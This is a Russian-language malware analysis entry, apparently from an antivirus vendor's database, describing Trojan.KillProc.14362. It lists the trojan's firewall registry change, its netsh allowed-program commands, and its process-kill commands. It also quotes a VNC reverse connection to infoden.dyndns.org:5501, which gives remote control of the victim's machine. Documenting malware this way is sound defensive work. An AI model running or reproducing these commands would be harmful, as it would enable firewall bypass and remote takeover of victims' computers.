Trojan.KillProc.14362

Вредоносные функции:

Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%TEMP%\nsx3.tmp\winvncsc.exe' = '%TEMP%\nsx3.tmp\winvncsc.exe:*:Enabled:OneClick-Server'

Создает и запускает на исполнение:

%TEMP%\nsy6.tmp\ns10.tmp "netsh.exe" firewall add allowedprogram "%TEMP%\nsx3.tmp\winvncsc.exe" "OneClick-Server" ENABLE ALL
%TEMP%\nsy6.tmp\nsF.tmp "taskkill.exe" /F /IM AvncMenu.exe /T
%TEMP%\nsy6.tmp\nsE.tmp "taskkill.exe" /F /IM WinVncSC.exe /T
%TEMP%\nsy6.tmp\ns11.tmp "netsh.exe" firewall add allowedprogram "%TEMP%\nsx3.tmp\winvnc.exe.exe" "OneClick-Server" ENABLE
%TEMP%\nsx3.tmp\winvncsc.exe -sc_exit -autoreconnect -sc_prompt -connect infoden.dyndns.org::5501 -run
%TEMP%\nsy6.tmp\ns12.tmp "%TEMP%\nsx3.tmp\WinVncSC.exe" -sc_exit -autoreconnect -sc_prompt -connect infoden.dyndns.org::5501 -run
%TEMP%\nsx3.tmp\1Click.exe
%TEMP%\nsy6.tmp\nsD.tmp "taskkill.exe" /F /IM 1click.exe /T
%TEMP%\nsy6.tmp\ns8.tmp "net.exe" stop WinVNC
%TEMP%\nsy6.tmp\ns7.tmp "net.exe" stop uvnc_service
%TEMP%\nsx3.tmp\WebGetD.exe /3 -plugin -connect infoden.dyndns.org:5501 -noregistry
%TEMP%\nsy6.tmp\ns9.tmp "net.exe" stop WinVNC4
%TEMP%\nsy6.tmp\nsC.tmp "tskill.exe" AvncMenu
%TEMP%\nsy6.tmp\nsB.tmp "tskill.exe" 1click
%TEMP%\nsy6.tmp\nsA.tmp "tskill.exe" WinVncSC

Запускает на исполнение:

<SYSTEM32>\taskkill.exe /F /IM 1click.exe /T
<SYSTEM32>\tskill.exe AvncMenu
<SYSTEM32>\tskill.exe 1click
<SYSTEM32>\taskkill.exe /F /IM WinVncSC.exe /T
<SYSTEM32>\netsh.exe firewall add allowedprogram "%TEMP%\nsx3.tmp\winvnc.exe.exe" "OneClick-Server" ENABLE
<SYSTEM32>\netsh.exe firewall add allowedprogram "%TEMP%\nsx3.tmp\winvncsc.exe" "OneClick-Server" ENABLE ALL
<SYSTEM32>\taskkill.exe /F /IM AvncMenu.exe /T
<SYSTEM32>\net.exe stop WinVNC
<SYSTEM32>\net1.exe stop uvnc_service
<SYSTEM32>\net.exe stop uvnc_service
<SYSTEM32>\net1.exe stop WinVNC
<SYSTEM32>\tskill.exe WinVncSC
<SYSTEM32>\net1.exe stop WinVNC4
<SYSTEM32>\net.exe stop WinVNC4